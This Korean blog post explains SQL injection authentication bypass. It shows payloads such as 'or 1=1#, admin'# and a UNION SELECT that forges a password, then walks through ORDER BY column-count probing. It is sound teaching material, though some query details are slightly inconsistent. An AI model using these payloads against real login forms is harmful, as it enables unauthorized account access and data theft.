로그인 인증 방식에 따른 SQL injection 인증 우회

910·2021년 10월 26일
2

SQL 쿼리 한 줄에 식별과 인증을 동시에 처리하는 방식

로그인 폼에서 입력받은 id, password 값을 각각 $username, $userpass 변수에 저장하고 아래 쿼리를 실행해

SELECT * FROM member WHERE id = '$username' AND pass = '$userpass';

쿼리의 실행 결과가 존재하면 로그인 성공,
실행 결과가 존재하지 않으면 로그인 실패

PHP 로그인/로그아웃 구현하기에서 사용했던 로그인 인증 방식이다.
이러한 방식은 다음과 같이 우회가 가능하다.

admin이라는 id가 존재한다고 가정해보자.

ID : admin
PW : 'or 1=1#

id, password 파라미터에 위와 같이 입력하면

SELECT * FROM member WHERE id = 'admin' AND pass = ''or 1#';

이러한 쿼리가 실행되는데,
1=1이 참이기 때문에

이런 쿼리가 된다.

SELECT * FROM member WHERE id = 'admin' AND true;

따라서 DB는 member 테이블에 저장된 id가 admin인 사용자의 정보를 출력한다. 쿼리의 실행 결과가 존재하기만 하면 로그인에 성공하기 때문에 admin으로 로그인에 성공하게된다.


이번에는 로그인 폼에서 id에 admin'#를 입력해보자.

SELECT * FROM member WHERE id = 'admin'#' AND pass = '$userpass';

주석 뒤는 무시하기 때문에 최종적으로 이러한 쿼리가 실행된다.

SELECT * FROM member WHERE id = 'admin'

쿼리의 실행 결과가 존재하기 때문에 로그인에 성공하게된다.


만약 아이디를 모른다면 어떻게 인증을 우회할 수 있을까?
로그인 폼에서 id에 'or 1=1#를 입력해보자.

SELECT * FROM member WHERE id = ''or 1=1#' AND pass = ''or 1#';

아래의 쿼리가 실행되는 것과 같다.

SELECT * FROM member WHERE true;

DB에서 member 테이블을 조회했을 때 맨 위에 출력되는 사용자로 로그인 하게된다.

식별과 인증을 분리하여 처리하는 방식

로그인 폼에서 입력받은 id, password 값을 각각 $username, $userpass 변수에 저장하고 아래 쿼리를 실행해

select pass from member where id='$userpass';

실행 결과의 비밀번호와 유저가 파라미터에 입력한 비밀번호가
같으면 로그인 성공, 다르면 로그인 실패

이러한 로직에서는 이전에 사용한 방법으로 인증을 우회할 수 없다.
방금처럼 id 파라미터에 'or 1=1#를 입력해보자.

select pass from member where id=''or 1=1#';

아래 쿼리와 같다.

select pass from member where true;

DB에는 아래의 정보가 출력된다

idpass
mario1234
Luigi1010
......

DB에서 가입된 사용자들의 정보를 출력하는데 성공하지만 로그인 성공의 조건을 만족하지 않는다. 공격자가 로그인 폼에서 입력한 비밀번호와 DB에서 출력한 사용자의 비밀번호가 일치하지 않기 때문에 로그인에 실패한다.
로그인에 성공하려면 DB에 출력되는 비밀번호와 파라미터에 입력한 비밀번호가 같아야 한다.

이러한 인증 방식을 우회하기 위해서는 출력되는 pass 컬럼의 값을 공격자가 로그인 폼에서 입력한 값으로 변조하는 방법이 있다.

id : x' union select 'admin', '1234;
password : 1234

로그인 폼에 위와 같이 입력해보자

select pass from member where id= 'x'union select 'admin', '1234';
admin1234
admin1234

쿼리가 실행되어 이러한 결과가 출력된다. 출력된 비밀번호와 공격자가 입력한 비밀번호가 일치하기 때문에 로그인에 성공한다.

위 같은 결과가 나오는 까닭은 id가 x인 사용자가 존재하지 않기 때문에 원래 아무 데이터도 출력하지 않지만 select를 사용할 때 컬럼 부분에 문자열을 넣으면 입력한 문자열이 그대로 출력된다는 점을 이용하여 union select를 삽입해서 'admin', '1234' 라는 결과를 출력시킨다.

member 테이블에 컬럼이 id와 pass 밖에 없었기 때문에 원하는 결과를 출력할 수 있었지만, 원래 union select를 사용하려면 앞 select 구문과 컬럼의 개수를 맞춰줘야한다.

컬럼 개수는 order by절을 이용해 알아낼 수 있다

order by 를 이용한 컬럼 수 알아내기

ORDER BY 절은 숫자를 넣어서 정렬 할 수있다. 숫자는 해당 순서의 컬럼을 뜻하며 그 순서의 컬럼으로 정렬한다. 그래서 컬럼의 개수보다 높은 숫자를 넣으면 오류가 발생한다.

컬럼의 수가 12 개일 경우 (경우의 수를 줄여가며 탐색)

  • order by 5 # (에러 발생 하지 않음, 컬럼의 수가 5 이거나 5 보다 큼)
  • order by 15 # (에러 발생, 컬럼의 수가 15보다 작음)
  • order by 10 # (에러 발생 하지 않음, 컬럼의 수가 10 이거나 10 보다는 크지만 15 보단 작음)
  • order by 12 # (에러 발생 하지 않음, 컬럼의 수가 12 이거나 12 보다는 크지만 15 보단 작음)
  • order by 13 # (에러 발생, 컬럼의 수는 12개)

0개의 댓글